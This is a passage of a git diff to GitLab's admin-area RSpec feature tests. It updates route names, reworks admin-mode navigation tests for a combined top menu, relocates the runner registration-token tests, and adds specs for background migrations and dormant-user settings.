- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
attach_file(:appearance_logo, logo_fixture)
click_button 'Update appearance settings'
@@ -128,7 +128,7 @@ RSpec.describe 'Admin Appearance' do
it 'header logos' do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
attach_file(:appearance_header_logo, logo_fixture)
click_button 'Update appearance settings'
@@ -141,7 +141,7 @@ RSpec.describe 'Admin Appearance' do
it 'Favicon' do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
attach_file(:appearance_favicon, logo_fixture)
click_button 'Update appearance settings'
diff --git a/spec/features/admin/admin_hooks_spec.rb b/spec/features/admin/admin_hooks_spec.rb
index 3fed402267c..a501efd82ed 100644
--- a/spec/features/admin/admin_hooks_spec.rb
+++ b/spec/features/admin/admin_hooks_spec.rb
@@ -37,24 +37,6 @@ RSpec.describe 'Admin::Hooks' do
expect(page).to have_content('foo.rb')
expect(page).to have_content('bar.clj')
end
-
- context 'deprecation warning' do
- it 'shows warning for plugins directory' do
- allow(Gitlab::FileHook).to receive(:files).and_return(['plugins/foo.rb'])
-
- visit admin_hooks_path
-
- expect(page).to have_content('Plugins directory is deprecated and will be removed in 14.0')
- end
-
- it 'does not show warning for file_hooks directory' do
- allow(Gitlab::FileHook).to receive(:files).and_return(['file_hooks/foo.rb'])
-
- visit admin_hooks_path
-
- expect(page).not_to have_content('Plugins directory is deprecated and will be removed in 14.0')
- end
- end
end
describe 'New Hook' do
diff --git a/spec/features/admin/admin_mode/logout_spec.rb b/spec/features/admin/admin_mode/logout_spec.rb
index 664eb51e58f..efb4baa8164 100644
--- a/spec/features/admin/admin_mode/logout_spec.rb
+++ b/spec/features/admin/admin_mode/logout_spec.rb
@@ -5,28 +5,32 @@ require 'spec_helper'
RSpec.describe 'Admin Mode Logout', :js do
include TermsHelper
include UserLoginHelper
+ include Spec::Support::Helpers::Features::TopNavSpecHelpers
let(:user) { create(:admin) }
shared_examples 'combined_menu: feature flag examples' do
before do
- gitlab_sign_in(user)
+ # TODO: This used to use gitlab_sign_in, instead of sign_in, but that is buggy. See
+ # this issue to look into why: https://gitlab.com/gitlab-org/gitlab/-/issues/331851
+ sign_in(user)
gitlab_enable_admin_mode_sign_in(user)
visit admin_root_path
end
it 'disable removes admin mode and redirects to root page' do
- pending_on_combined_menu_flag
-
gitlab_disable_admin_mode
expect(current_path).to eq root_path
- expect(page).to have_link(href: new_admin_session_path)
+
+ open_top_nav
+
+ within_top_nav do
+ expect(page).to have_link(href: new_admin_session_path)
+ end
end
it 'disable shows flash notice' do
- pending_on_combined_menu_flag
-
gitlab_disable_admin_mode
expect(page).to have_selector('.flash-notice')
@@ -38,17 +42,20 @@ RSpec.describe 'Admin Mode Logout', :js do
end
it 'disable removes admin mode and redirects to root page' do
- pending_on_combined_menu_flag
-
gitlab_disable_admin_mode
expect(current_path).to eq root_path
- expect(page).to have_link(href: new_admin_session_path)
+
+ open_top_nav
+
+ within_top_nav do
+ expect(page).to have_link(href: new_admin_session_path)
+ end
end
end
end
- context 'with combined_menu: feature flag on' do
+ context 'with combined_menu feature flag on' do
let(:needs_rewrite_for_combined_menu_flag_on) { true }
before do
@@ -67,8 +74,4 @@ RSpec.describe 'Admin Mode Logout', :js do
it_behaves_like 'combined_menu: feature flag examples'
end
-
- def pending_on_combined_menu_flag
- pending 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587' if needs_rewrite_for_combined_menu_flag_on
- end
end
diff --git a/spec/features/admin/admin_mode_spec.rb b/spec/features/admin/admin_mode_spec.rb
index 4df035b13e8..9fd83f4af6d 100644
--- a/spec/features/admin/admin_mode_spec.rb
+++ b/spec/features/admin/admin_mode_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Admin mode' do
include MobileHelpers
+ include Spec::Support::Helpers::Features::TopNavSpecHelpers
include StubENV
let(:admin) { create(:admin) }
@@ -21,6 +22,7 @@ RSpec.describe 'Admin mode' do
context 'when not in admin mode' do
it 'has no leave admin mode button' do
visit new_admin_session_path
+ open_top_nav
page.within('.navbar-sub-nav') do
expect(page).not_to have_link(href: destroy_admin_session_path)
@@ -28,12 +30,11 @@ RSpec.describe 'Admin mode' do
end
it 'can open pages not in admin scope' do
- pending_on_combined_menu_flag
-
visit new_admin_session_path
+ open_top_nav_projects
- page.within('.navbar-sub-nav') do
- find_all('a', text: 'Projects').first.click
+ within_top_nav do
+ click_link('Your projects')
end
expect(page).to have_current_path(dashboard_projects_path)
@@ -78,71 +79,66 @@ RSpec.describe 'Admin mode' do
end
it 'contains link to leave admin mode' do
- pending_on_combined_menu_flag
+ open_top_nav
- page.within('.navbar-sub-nav') do
+ within_top_nav do
expect(page).to have_link(href: destroy_admin_session_path)
end
end
it 'can leave admin mode using main dashboard link', :js do
- pending_on_combined_menu_flag
+ gitlab_disable_admin_mode
- page.within('.navbar-sub-nav') do
- click_on 'Leave Admin Mode'
+ open_top_nav
+ within_top_nav do
expect(page).to have_link(href: new_admin_session_path)
end
end
it 'can leave admin mode using dropdown menu on smaller screens', :js do
- pending_on_combined_menu_flag
+ skip('pending responsive development under :combined_menu feature flag') if Feature.enabled?(:combined_menu, default_enabled: :yaml)
resize_screen_xs
visit root_dashboard_path
- find('.header-more').click
+ find('.header-more').click unless Feature.enabled?(:combined_menu, default_enabled: :yaml)
- page.within '.navbar-sub-nav' do
- click_on 'Leave Admin Mode'
+ gitlab_disable_admin_mode
- find('.header-more').click
+ open_top_nav
+ find('.header-more').click unless Feature.enabled?(:combined_menu, default_enabled: :yaml)
- expect(page).to have_link(href: new_admin_session_path)
- end
+ expect(page).to have_link(href: new_admin_session_path)
end
it 'can open pages not in admin scope' do
- pending_on_combined_menu_flag
-
- page.within('.navbar-sub-nav') do
- find_all('a', text: 'Projects').first.click
+ open_top_nav_projects
- expect(page).to have_current_path(dashboard_projects_path)
+ within_top_nav do
+ click_link('Your projects')
end
+
+ expect(page).to have_current_path(dashboard_projects_path)
end
context 'nav bar' do
it 'shows admin dashboard links on bigger screen' do
- pending_on_combined_menu_flag
-
visit root_dashboard_path
+ open_top_nav
- page.within '.navbar' do
- expect(page).to have_link(text: 'Admin Area', href: admin_root_path, visible: true)
- expect(page).to have_link(text: 'Leave Admin Mode', href: destroy_admin_session_path, visible: true)
- end
+ link_text = Feature.enabled?(:combined_menu, default_enabled: :yaml) ? 'Admin' : 'Admin Area'
+ expect(page).to have_link(text: link_text, href: admin_root_path, visible: true)
+ expect(page).to have_link(text: 'Leave Admin Mode', href: destroy_admin_session_path, visible: true)
end
it 'relocates admin dashboard links to dropdown list on smaller screen', :js do
- pending_on_combined_menu_flag
+ skip('pending responsive development under :combined_menu feature flag') if Feature.enabled?(:combined_menu, default_enabled: :yaml)
resize_screen_xs
visit root_dashboard_path
- page.within '.navbar' do
- expect(page).not_to have_link(text: 'Leave Admin Mode', href: destroy_admin_session_path, visible: true)
- end
+ expect(page).not_to have_link(text: 'Leave Admin Mode', href: destroy_admin_session_path, visible: true)
find('.header-more').click
@@ -159,11 +155,11 @@ RSpec.describe 'Admin mode' do
end
it 'can leave admin mode', :js do
- pending_on_combined_menu_flag
+ gitlab_disable_admin_mode
- page.within('.navbar-sub-nav') do
- click_on 'Leave Admin Mode'
+ open_top_nav
+ within_top_nav do
expect(page).to have_link(href: new_admin_session_path)
end
end
@@ -179,16 +175,15 @@ RSpec.describe 'Admin mode' do
it 'shows no admin mode buttons in navbar' do
visit admin_root_path
+ open_top_nav
- page.within('.navbar-sub-nav') do
- expect(page).not_to have_link(href: new_admin_session_path)
- expect(page).not_to have_link(href: destroy_admin_session_path)
- end
+ expect(page).not_to have_link(href: new_admin_session_path)
+ expect(page).not_to have_link(href: destroy_admin_session_path)
end
end
end
- context 'with combined_menu: feature flag on' do
+ context 'with combined_menu feature flag on', :js do
let(:needs_rewrite_for_combined_menu_flag_on) { true }
before do
@@ -207,8 +202,4 @@ RSpec.describe 'Admin mode' do
it_behaves_like 'combined_menu: feature flag examples'
end
-
- def pending_on_combined_menu_flag
- pending 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587' if needs_rewrite_for_combined_menu_flag_on
- end
end
diff --git a/spec/features/admin/admin_runners_spec.rb b/spec/features/admin/admin_runners_spec.rb
index 4e0dcbdf075..d7a267fec69 100644
--- a/spec/features/admin/admin_runners_spec.rb
+++ b/spec/features/admin/admin_runners_spec.rb
@@ -17,6 +17,10 @@ RSpec.describe "Admin Runners" do
describe "Runners page" do
let(:pipeline) { create(:ci_pipeline) }
+ before do
+ stub_feature_flags(runner_list_view_vue_ui: false)
+ end
+
context "when there are runners" do
it 'has all necessary texts' do
runner = create(:ci_runner, contacted_at: Time.now)
@@ -240,7 +244,7 @@ RSpec.describe "Admin Runners" do
it 'shows the label and does not show the project count' do
visit admin_runners_path
- within "#runner_#{runner.id}" do
+ within "[data-testid='runner-row-#{runner.id}']" do
expect(page).to have_selector '.badge', text: 'group'
expect(page).to have_text 'n/a'
end
@@ -253,7 +257,7 @@ RSpec.describe "Admin Runners" do
visit admin_runners_path
- within "#runner_#{runner.id}" do
+ within "[data-testid='runner-row-#{runner.id}']" do
expect(page).to have_selector '.badge', text: 'shared'
expect(page).to have_text 'n/a'
end
@@ -267,12 +271,36 @@ RSpec.describe "Admin Runners" do
visit admin_runners_path
- within "#runner_#{runner.id}" do
+ within "[data-testid='runner-row-#{runner.id}']" do
expect(page).to have_selector '.badge', text: 'specific'
expect(page).to have_text '1'
end
end
end
+
+ describe 'runners registration token' do
+ let!(:token) { Gitlab::CurrentSettings.runners_registration_token }
+
+ before do
+ visit admin_runners_path
+ end
+
+ it 'has a registration token' do
+ expect(page.find('[data-testid="registration_token"]')).to have_content(token)
+ end
+
+ describe 'reset registration token' do
+ let(:page_token) { find('[data-testid="registration_token"]').text }
+
+ before do
+ click_button 'Reset registration token'
+ end
+
+ it 'changes registration token' do
+ expect(page_token).not_to eq token
+ end
+ end
+ end
end
describe "Runner show page" do
@@ -381,28 +409,4 @@ RSpec.describe "Admin Runners" do
end
end
end
-
- describe 'runners registration token' do
- let!(:token) { Gitlab::CurrentSettings.runners_registration_token }
-
- before do
- visit admin_runners_path
- end
-
- it 'has a registration token' do
- expect(page.find('#registration_token')).to have_content(token)
- end
-
- describe 'reload registration token' do
- let(:page_token) { find('#registration_token').text }
-
- before do
- click_button 'Reset registration token'
- end
-
- it 'changes registration token' do
- expect(page_token).not_to eq token
- end
- end
- end
end
diff --git a/spec/features/admin/admin_search_settings_spec.rb b/spec/features/admin/admin_search_settings_spec.rb
index cd61a1db6f3..989cb7cc787 100644
--- a/spec/features/admin/admin_search_settings_spec.rb
+++ b/spec/features/admin/admin_search_settings_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe 'Admin searches application settings', :js do
context 'in appearances page' do
before do
- visit(admin_appearances_path)
+ visit(admin_application_settings_appearances_path)
end
it_behaves_like 'cannot search settings'
diff --git a/spec/features/admin/admin_sees_background_migrations_spec.rb b/spec/features/admin/admin_sees_background_migrations_spec.rb
new file mode 100644
index 00000000000..d848a8352bc
--- /dev/null
+++ b/spec/features/admin/admin_sees_background_migrations_spec.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe "Admin > Admin sees background migrations" do
+ let_it_be(:admin) { create(:admin) }
+
+ let_it_be(:active_migration) { create(:batched_background_migration, table_name: 'active', status: :active) }
+ let_it_be(:failed_migration) { create(:batched_background_migration, table_name: 'failed', status: :failed, total_tuple_count: 100) }
+ let_it_be(:finished_migration) { create(:batched_background_migration, table_name: 'finished', status: :finished) }
+
+ before_all do
+ create(:batched_background_migration_job, batched_migration: failed_migration, batch_size: 30, status: :succeeded)
+ end
+
+ before do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
+ end
+
+ it 'can navigate to background migrations' do
+ visit admin_root_path
+
+ within '.nav-sidebar' do
+ link = find_link 'Background Migrations'
+
+ link.click
+
+ expect(page).to have_current_path(admin_background_migrations_path)
+ expect(link).to have_ancestor(:css, 'li.active')
+ end
+ end
+
+ it 'can view queued migrations' do
+ visit admin_background_migrations_path
+
+ within '#content-body' do
+ expect(page).to have_selector('tbody tr', count: 1)
+
+ expect(page).to have_content(active_migration.job_class_name)
+ expect(page).to have_content(active_migration.table_name)
+ expect(page).to have_content('0.00%')
+ expect(page).to have_content(active_migration.status.humanize)
+ end
+ end
+
+ it 'can view failed migrations' do
+ visit admin_background_migrations_path
+
+ within '#content-body' do
+ tab = find_link 'Failed'
+ tab.click
+
+ expect(page).to have_current_path(admin_background_migrations_path(tab: 'failed'))
+ expect(tab[:class]).to include('gl-tab-nav-item-active', 'gl-tab-nav-item-active-indigo')
+
+ expect(page).to have_selector('tbody tr', count: 1)
+
+ expect(page).to have_content(failed_migration.job_class_name)
+ expect(page).to have_content(failed_migration.table_name)
+ expect(page).to have_content('30.00%')
+ expect(page).to have_content(failed_migration.status.humanize)
+ end
+ end
+
+ it 'can view finished migrations' do
+ visit admin_background_migrations_path
+
+ within '#content-body' do
+ tab = find_link 'Finished'
+ tab.click
+
+ expect(page).to have_current_path(admin_background_migrations_path(tab: 'finished'))
+ expect(tab[:class]).to include('gl-tab-nav-item-active', 'gl-tab-nav-item-active-indigo')
+
+ expect(page).to have_selector('tbody tr', count: 1)
+
+ expect(page).to have_content(finished_migration.job_class_name)
+ expect(page).to have_content(finished_migration.table_name)
+ expect(page).to have_content('100.00%')
+ expect(page).to have_content(finished_migration.status.humanize)
+ end
+ end
+end
diff --git a/spec/features/admin/admin_settings_spec.rb b/spec/features/admin/admin_settings_spec.rb
index 0a7113a5559..c289c18126d 100644
--- a/spec/features/admin/admin_settings_spec.rb
+++ b/spec/features/admin/admin_settings_spec.rb
@@ -8,9 +8,11 @@ RSpec.describe 'Admin updates settings' do
include UsageDataHelpers
let(:admin) { create(:admin) }
+ let(:dot_com?) { false }
context 'application setting :admin_mode is enabled', :request_store do
before do
+ allow(Gitlab).to receive(:com?).and_return(dot_com?)
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
@@ -127,6 +129,37 @@ RSpec.describe 'Admin updates settings' do
expect(user_internal_regex['placeholder']).to eq 'Regex pattern'
end
+ context 'Dormant users' do
+ context 'when Gitlab.com' do
+ let(:dot_com?) { true }
+
+ it 'does not expose the setting' do
+ expect(page).to have_no_selector('#application_setting_deactivate_dormant_users')
+ end
+ end
+
+ context 'when not Gitlab.com' do
+ let(:dot_com?) { false }
+
+ it 'change Dormant users' do
+ expect(page).to have_unchecked_field('Deactivate dormant users after 90 days of inactivity')
+ expect(current_settings.deactivate_dormant_users).to be_falsey
+
+ page.within('.as-account-limit') do
+ check 'application_setting_deactivate_dormant_users'
+ click_button 'Save changes'
+ end
+
+ expect(page).to have_content "Application settings saved successfully"
+
+ page.refresh
+
+ expect(current_settings.deactivate_dormant_users).to be_truthy
+ expect(page).to have_checked_field('Deactivate dormant users after 90 days of inactivity')
+ end
+ end
+ end
+
context 'Change Sign-up restrictions' do
context 'Require Admin approval for new signup setting' do
it 'changes the setting', :js do
@@ -315,19 +348,6 @@ RSpec.describe 'Admin updates settings' do
visit integrations_admin_application_settings_path
end
- it 'allows user to dismiss deprecation notice' do
- expect(page).to have_content('Some settings have moved')
-
- click_button 'Dismiss'
- wait_for_requests
-
- expect(page).not_to have_content('Some settings have moved')
-
- visit integrations_admin_application_settings_path
-
- expect(page).not_to have_content('Some settings have moved')
- end
-
it 'shows integrations table' do
expect(page).to have_selector '[data-testid="inactive-integrations-table"]'
end
diff --git a/spec/features/admin/clusters/applications_spec.rb b/spec/features/admin/clusters/applications_spec.rb
deleted file mode 100644
index e083e4fee4c..00000000000
--- a/spec/features/admin/clusters/applications_spec.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_relative '../../../../spec/features/clusters/installing_applications_shared_examples'
-
-RSpec.describe 'Instance-level Cluster Applications', :js do
- include GoogleApi::CloudPlatformHelpers
-
- let(:user) { create(:admin) }
-
- before do
- sign_in(user)
- gitlab_enable_admin_mode_sign_in(user)
- end
-
- describe 'Installing applications' do
- include_examples "installing applications on a cluster" do
- let(:cluster_path) { admin_cluster_path(cluster) }
- let(:cluster_factory_args) { [:instance] }
- end
- end
-end
diff --git a/spec/features/admin/integrations/user_activates_mattermost_slash_command_spec.rb b/spec/features/admin/integrations/user_activates_mattermost_slash_command_spec.rb
new file mode 100644
index 00000000000..6f091d37995
--- /dev/null
+++ b/spec/features/admin/integrations/user_activates_mattermost_slash_command_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'User activates the instance-level Mattermost Slash Command integration', :js do
+ include_context 'instance integration activation'
+
+ before do
+ stub_mattermost_setting(enabled: true)
+ visit_instance_integration('Mattermost slash commands')
+ end
+
+ let(:edit_path) { edit_admin_application_settings_integration_path(:mattermost_slash_commands) }
+
+ include_examples 'user activates the Mattermost Slash Command integration'
+end
diff --git a/spec/features/admin/users/user_spec.rb b/spec/features/admin/users/user_spec.rb
index 01341398135..3599658ee56 100644
--- a/spec/features/admin/users/user_spec.rb
+++ b/spec/features/admin/users/user_spec.rb
@@ -356,27 +356,19 @@ RSpec.describe 'Admin::Users::User' do
end
end
- [true, false].each do |vue_admin_users|
- context "with vue_admin_users feature flag set to #{vue_admin_users}", js: vue_admin_users do
- before do
- stub_feature_flags(vue_admin_users: vue_admin_users)
- end
-
- describe 'GET /admin/users' do
- context 'user pending approval' do
- it 'shows user info', :aggregate_failures do
- user = create(:user, :blocked_pending_approval)
+ describe 'GET /admin/users', :js do
+ context 'user pending approval' do
+ it 'shows user info', :aggregate_failures do
+ user = create(:user, :blocked_pending_approval)
- visit admin_users_path
- click_link 'Pending approval'
- click_link user.name
+ visit admin_users_path
+ click_link 'Pending approval'
+ click_link user.name
- expect(page).to have_content(user.name)
- expect(page).to have_content('Pending approval')
- expect(page).to have_link('Approve user')
- expect(page).to have_link('Reject request')
- end
- end
+ expect(page).to have_content(user.name)
+ expect(page).to have_content('Pending approval')
+ expect(page).to have_link('Approve user')
+ expect(page).to have_link('Reject request')
end
end
end
diff --git a/spec/features/admin/users/users_spec.rb b/spec/features/admin/users/users_spec.rb
index d3931373ee3..187fa6fc2a4 100644
--- a/spec/features/admin/users/users_spec.rb
+++ b/spec/features/admin/users/users_spec.rb
@@ -11,294 +11,318 @@ RSpec.describe 'Admin::Users' do
gitlab_enable_admin_mode_sign_in(current_user)
end
- [true, false].each do |vue_admin_users|
- context "with vue_admin_users feature flag set to #{vue_admin_users}", js: vue_admin_users do
- before do
- stub_feature_flags(vue_admin_users: vue_admin_users)
- end
+ describe 'GET /admin/users', :js do
+ before do
+ visit admin_users_path
+ end
- describe 'GET /admin/users' do
- before do
- visit admin_users_path
- end
+ it "is ok" do
+ expect(current_path).to eq(admin_users_path)
+ end
- it "is ok" do
- expect(current_path).to eq(admin_users_path)
- end
+ it "has users list" do
+ current_user.reload
- it "has users list" do
- current_user.reload
+ expect(page).to have_content(current_user.email)
+ expect(page).to have_content(current_user.name)
+ expect(page).to have_content(current_user.created_at.strftime('%e %b, %Y'))
+ expect(page).to have_content(user.email)
+ expect(page).to have_content(user.name)
+ expect(page).to have_content('Projects')
- expect(page).to have_content(current_user.email)
- expect(page).to have_content(current_user.name)
- expect(page).to have_content(current_user.created_at.strftime('%e %b, %Y'))
- expect(page).to have_content(user.email)
- expect(page).to have_content(user.name)
- expect(page).to have_content('Projects')
+ click_user_dropdown_toggle(user.id)
- click_user_dropdown_toggle(user.id)
+ expect(page).to have_button('Block')
+ expect(page).to have_button('Deactivate')
+ expect(page).to have_button('Delete user')
+ expect(page).to have_button('Delete user and contributions')
+ end
- expect(page).to have_button('Block')
- expect(page).to have_button('Deactivate')
- expect(page).to have_button('Delete user')
- expect(page).to have_button('Delete user and contributions')
- end
+ it 'clicking edit user takes us to edit page', :aggregate_failures do
+ page.within("[data-testid='user-actions-#{user.id}']") do
+ click_link 'Edit'
+ end
- it 'clicking edit user takes us to edit page', :aggregate_failures do
- page.within("[data-testid='user-actions-#{user.id}']") do
- click_link 'Edit'
- end
+ expect(page).to have_content('Name')
+ expect(page).to have_content('Password')
+ end
- expect(page).to have_content('Name')
- expect(page).to have_content('Password')
- end
+ describe 'view extra user information' do
+ it 'shows the user popover on hover', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/11290' do
+ expect(page).not_to have_selector('#__BV_popover_1__')
- describe 'view extra user information' do
- it 'shows the user popover on hover', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/11290' do
- expect(page).not_to have_selector('#__BV_popover_1__')
+ first_user_link = page.first('.js-user-link')
+ first_user_link.hover
- first_user_link = page.first('.js-user-link')
- first_user_link.hover
+ expect(page).to have_selector('#__BV_popover_1__')
+ end
+ end
- expect(page).to have_selector('#__BV_popover_1__')
- end
- end
+ context 'user project count' do
+ before do
+ project = create(:project)
+ project.add_maintainer(current_user)
+ end
- context 'user project count' do
- before do
- project = create(:project)
- project.add_maintainer(current_user)
- end
+ it 'displays count of users projects' do
+ visit admin_users_path
- it 'displays count of users projects' do
- visit admin_users_path
+ expect(page.find("[data-testid='user-project-count-#{current_user.id}']").text).to eq("1")
+ end
+ end
+
+ describe 'tabs' do
+ it 'has multiple tabs to filter users' do
+ expect(page).to have_link('Active', href: admin_users_path)
+ expect(page).to have_link('Admins', href: admin_users_path(filter: 'admins'))
+ expect(page).to have_link('2FA Enabled', href: admin_users_path(filter: 'two_factor_enabled'))
+ expect(page).to have_link('2FA Disabled', href: admin_users_path(filter: 'two_factor_disabled'))
+ expect(page).to have_link('External', href: admin_users_path(filter: 'external'))
+ expect(page).to have_link('Blocked', href: admin_users_path(filter: 'blocked'))
+ expect(page).to have_link('Deactivated', href: admin_users_path(filter: 'deactivated'))
+ expect(page).to have_link('Without projects', href: admin_users_path(filter: 'wop'))
+ end
- expect(page.find("[data-testid='user-project-count-#{current_user.id}']").text).to eq("1")
- end
+ context '`Pending approval` tab' do
+ before do
+ visit admin_users_path
end
- describe 'tabs' do
- it 'has multiple tabs to filter users' do
- expect(page).to have_link('Active', href: admin_users_path)
- expect(page).to have_link('Admins', href: admin_users_path(filter: 'admins'))
- expect(page).to have_link('2FA Enabled', href: admin_users_path(filter: 'two_factor_enabled'))
- expect(page).to have_link('2FA Disabled', href: admin_users_path(filter: 'two_factor_disabled'))
- expect(page).to have_link('External', href: admin_users_path(filter: 'external'))
- expect(page).to have_link('Blocked', href: admin_users_path(filter: 'blocked'))
- expect(page).to have_link('Banned', href: admin_users_path(filter: 'banned'))
- expect(page).to have_link('Deactivated', href: admin_users_path(filter: 'deactivated'))
- expect(page).to have_link('Without projects', href: admin_users_path(filter: 'wop'))
- end
-
- context '`Pending approval` tab' do
- before do
- visit admin_users_path
- end
-
- it 'shows the `Pending approval` tab' do
- expect(page).to have_link('Pending approval', href: admin_users_path(filter: 'blocked_pending_approval'))
- end
- end
+ it 'shows the `Pending approval` tab' do
+ expect(page).to have_link('Pending approval', href: admin_users_path(filter: 'blocked_pending_approval'))
end
+ end
+ end
- describe 'search and sort' do
- before_all do
- create(:user, name: 'Foo Bar', last_activity_on: 3.days.ago)
- create(:user, name: 'Foo Baz', last_activity_on: 2.days.ago)
- create(:user, name: 'Dmitriy')
- end
+ describe 'search and sort' do
+ before_all do
+ create(:user, name: 'Foo Bar', last_activity_on: 3.days.ago)
+ create(:user, name: 'Foo Baz', last_activity_on: 2.days.ago)
+ create(:user, name: 'Dmitriy')
+ end
- it 'searches users by name' do
- visit admin_users_path(search_query: 'Foo')
+ it 'searches users by name' do
+ visit admin_users_path(search_query: 'Foo')
- expect(page).to have_content('Foo Bar')
- expect(page).to have_content('Foo Baz')
- expect(page).not_to have_content('Dmitriy')
- end
+ expect(page).to have_content('Foo Bar')
+ expect(page).to have_content('Foo Baz')
+ expect(page).not_to have_content('Dmitriy')
+ end
- it 'sorts users by name' do
- visit admin_users_path
+ it 'sorts users by name' do
+ visit admin_users_path
- sort_by('Name')
+ sort_by('Name')
- expect(first_row.text).to include('Dmitriy')
- expect(second_row.text).to include('Foo Bar')
- end
+ expect(first_row.text).to include('Dmitriy')
+ expect(second_row.text).to include('Foo Bar')
+ end
- it 'sorts search results only' do
- visit admin_users_path(search_query: 'Foo')
+ it 'sorts search results only' do
+ visit admin_users_path(search_query: 'Foo')
- sort_by('Name')
- expect(page).not_to have_content('Dmitriy')
- expect(first_row.text).to include('Foo Bar')
- expect(second_row.text).to include('Foo Baz')
- end
+ sort_by('Name')
+ expect(page).not_to have_content('Dmitriy')
+ expect(first_row.text).to include('Foo Bar')
+ expect(second_row.text).to include('Foo Baz')
+ end
- it 'searches with respect of sorting' do
- visit admin_users_path(sort: 'Name')
+ it 'searches with respect of sorting' do
+ visit admin_users_path(sort: 'Name')
- fill_in :search_query, with: 'Foo'
- click_button('Search users')
+ fill_in :search_query, with: 'Foo'
+ click_button('Search users')
- expect(first_row.text).to include('Foo Bar')
- expect(second_row.text).to include('Foo Baz')
- end
+ expect(first_row.text).to include('Foo Bar')
+ expect(second_row.text).to include('Foo Baz')
+ end
- it 'sorts users by recent last activity' do
- visit admin_users_path(search_query: 'Foo')
+ it 'sorts users by recent last activity' do
+ visit admin_users_path(search_query: 'Foo')
- sort_by('Recent last activity')
+ sort_by('Recent last activity')
- expect(first_row.text).to include('Foo Baz')
- expect(second_row.text).to include('Foo Bar')
- end
+ expect(first_row.text).to include('Foo Baz')
+ expect(second_row.text).to include('Foo Bar')
+ end
- it 'sorts users by oldest last activity' do
- visit admin_users_path(search_query: 'Foo')
+ it 'sorts users by oldest last activity' do
+ visit admin_users_path(search_query: 'Foo')
- sort_by('Oldest last activity')
+ sort_by('Oldest last activity')
- expect(first_row.text).to include('Foo Bar')
- expect(second_row.text).to include('Foo Baz')
- end
+ expect(first_row.text).to include('Foo Bar')
+ expect(second_row.text).to include('Foo Baz')
+ end
+ end
+
+ describe 'Two-factor Authentication filters' do
+ it 'counts users who have enabled 2FA' do
+ create(:user, :two_factor)
+
+ visit admin_users_path
+
+ page.within('.filter-two-factor-enabled small') do
+ expect(page).to have_content('1')
end
+ end
- describe 'Two-factor Authentication filters' do
- it 'counts users who have enabled 2FA' do
- create(:user, :two_factor)
+ it 'filters by users who have enabled 2FA' do
+ user = create(:user, :two_factor)
- visit admin_users_path
+ visit admin_users_path
+ click_link '2FA Enabled'
- page.within('.filter-two-factor-enabled small') do
- expect(page).to have_content('1')
- end
- end
+ expect(page).to have_content(user.email)
+ end
- it 'filters by users who have enabled 2FA' do
- user = create(:user, :two_factor)
+ it 'counts users who have not enabled 2FA' do
+ visit admin_users_path
- visit admin_users_path
- click_link '2FA Enabled'
+ page.within('.filter-two-factor-disabled small') do
+ expect(page).to have_content('2') # Including admin
+ end
+ end
- expect(page).to have_content(user.email)
- end
+ it 'filters by users who have not enabled 2FA' do
+ visit admin_users_path
+ click_link '2FA Disabled'
- it 'counts users who have not enabled 2FA' do
- visit admin_users_path
+ expect(page).to have_content(user.email)
+ end
+ end
- page.within('.filter-two-factor-disabled small') do
- expect(page).to have_content('2') # Including admin
- end
- end
+ describe 'Pending approval filter' do
+ it 'counts users who are pending approval' do
+ create_list(:user, 2, :blocked_pending_approval)
- it 'filters by users who have not enabled 2FA' do
- visit admin_users_path
- click_link '2FA Disabled'
+ visit admin_users_path
- expect(page).to have_content(user.email)
- end
+ page.within('.filter-blocked-pending-approval small') do
+ expect(page).to have_content('2')
end
+ end
- describe 'Pending approval filter' do
- it 'counts users who are pending approval' do
- create_list(:user, 2, :blocked_pending_approval)
+ it 'filters by users who are pending approval' do
+ user = create(:user, :blocked_pending_approval)
- visit admin_users_path
+ visit admin_users_path
+ click_link 'Pending approval'
- page.within('.filter-blocked-pending-approval small') do
- expect(page).to have_content('2')
- end
- end
+ expect(page).to have_content(user.email)
+ end
+ end
- it 'filters by users who are pending approval' do
- user = create(:user, :blocked_pending_approval)
+ context 'when blocking/unblocking a user' do
+ it 'shows confirmation and allows blocking and unblocking', :js do
+ expect(page).to have_content(user.email)
- visit admin_users_path
- click_link 'Pending approval'
+ click_action_in_user_dropdown(user.id, 'Block')
- expect(page).to have_content(user.email)
- end
- end
+ wait_for_requests
- context 'when blocking/unblocking a user' do
- it 'shows confirmation and allows blocking and unblocking', :js do
- expect(page).to have_content(user.email)
+ expect(page).to have_content('Block user')
+ expect(page).to have_content('Blocking user has the following effects')
+ expect(page).to have_content('User will not be able to login')
+ expect(page).to have_content('Owned groups will be left')
- click_action_in_user_dropdown(user.id, 'Block')
+ find('.modal-footer button', text: 'Block').click
- wait_for_requests
+ wait_for_requests
- expect(page).to have_content('Block user')
- expect(page).to have_content('Blocking user has the following effects')
- expect(page).to have_content('User will not be able to login')
- expect(page).to have_content('Owned groups will be left')
+ expect(page).to have_content('Successfully blocked')
+ expect(page).not_to have_content(user.email)
- find('.modal-footer button', text: 'Block').click
+ click_link 'Blocked'
- wait_for_requests
+ wait_for_requests
- expect(page).to have_content('Successfully blocked')
- expect(page).not_to have_content(user.email)
+ expect(page).to have_content(user.email)
- click_link 'Blocked'
+ click_action_in_user_dropdown(user.id, 'Unblock')
- wait_for_requests
+ expect(page).to have_content('Unblock user')
+ expect(page).to have_content('You can always block their account again if needed.')
- expect(page).to have_content(user.email)
+ find('.modal-footer button', text: 'Unblock').click
- click_action_in_user_dropdown(user.id, 'Unblock')
+ wait_for_requests
